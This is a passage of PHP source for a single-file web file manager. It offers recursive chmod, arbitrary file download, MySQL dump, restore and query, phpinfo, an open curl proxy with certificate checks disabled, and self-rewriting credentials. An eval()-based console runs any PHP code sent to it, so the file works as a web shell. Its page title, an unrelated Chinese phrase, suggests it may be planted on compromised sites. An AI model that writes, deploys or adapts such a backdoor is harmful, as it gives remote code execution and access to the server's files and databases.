	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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